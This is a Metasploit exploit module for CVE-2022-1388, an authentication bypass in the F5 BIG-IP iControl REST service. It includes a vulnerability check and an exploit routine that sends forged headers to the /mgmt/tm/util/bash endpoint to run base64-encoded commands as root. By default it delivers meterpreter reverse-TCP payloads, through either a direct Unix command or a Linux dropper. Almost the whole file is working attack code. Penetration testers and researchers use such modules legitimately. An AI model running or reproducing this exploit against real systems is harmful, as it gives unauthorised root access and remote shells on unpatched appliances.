##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP iControl RCE via REST Authentication Bypass',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability
          in the F5 BIG-IP iControl REST service to gain access to the
          admin account, which is capable of executing commands
          through the /mgmt/tm/util/bash endpoint.

          Successful exploitation results in remote code execution
          as the root user.
        },
        'Author' => [
          'Heyder Andrade', # Metasploit module
          'alt3kx <alt3kx[at]protonmail.com>', # PoC
          'James Horseman', # Technical Writeup
          'Ron Bowes' # Documentation of exploitation specifics
        ],
        'References' => [
          ['CVE', '2022-1388'],
          ['URL', 'https://support.f5.com/csp/article/K23605346'],
          ['URL', 'https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/'], # Writeup
          ['URL', 'https://github.com/alt3kx/CVE-2022-1388_PoC'] # PoC
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2022-05-04', # Vendor advisory
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1, # Linux Dropper avoids some timeout issues that Unix Command payloads sometimes encounter.
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.
          'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session
          'SideEffects' => [
            IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)
            ARTIFACTS_ON_DISK # CmdStager
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
        OptString.new('HttpUsername', [true, 'iControl username', 'admin']),
        OptString.new('HttpPassword', [true, 'iControl password', ''])
      ]
    )
    register_advanced_options([
      OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
    ])
  end

  def check
    print_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),
      'method' => 'GET'
    })

    return CheckCode::Unknown unless res&.code == 401

    body = res.get_json_document

    return CheckCode::Safe unless body.key?('message') && body['kind'] == ':resterrorresponse'

    signature = Rex::Text.rand_text_alpha(13)
    stub = "echo #{signature}"
    res = send_command(stub)
    return CheckCode::Safe unless res&.code == 200

    body = res.get_json_document

    return CheckCode::Safe unless body['kind'] == 'tm:util:bash:runstate'

    return CheckCode::Vulnerable if body['commandResult'].chomp == signature

    CheckCode::Safe
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_command(cmd)
    unless res
      print_warning('Command execution timed out')
      return
    end

    json = res.get_json_document

    unless res.code == 200 && json['kind'] == 'tm:util:bash:runstate'
      fail_with(Failure::PayloadFailed, 'Failed to execute command')
    end

    print_good('Successfully executed command')

    return unless (cmd_result = json['commandResult'])

    vprint_line(cmd_result)
  end

  def send_command(cmd)
    bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)"
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),
      'ctype' => 'application/json',
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'headers' => {
        'Host' => 'localhost',
        'Connection' => 'keep-alive, X-F5-Auth-Token',
        'X-F5-Auth-Token' => Rex::Text.rand_text_alpha_lower(6)
      },
      'data' => {
        'command' => 'run',
        'utilCmdArgs' => "-c '#{bash_cmd}'"
      }.to_json
    }, datastore['CmdExecTimeout'])
  end
end
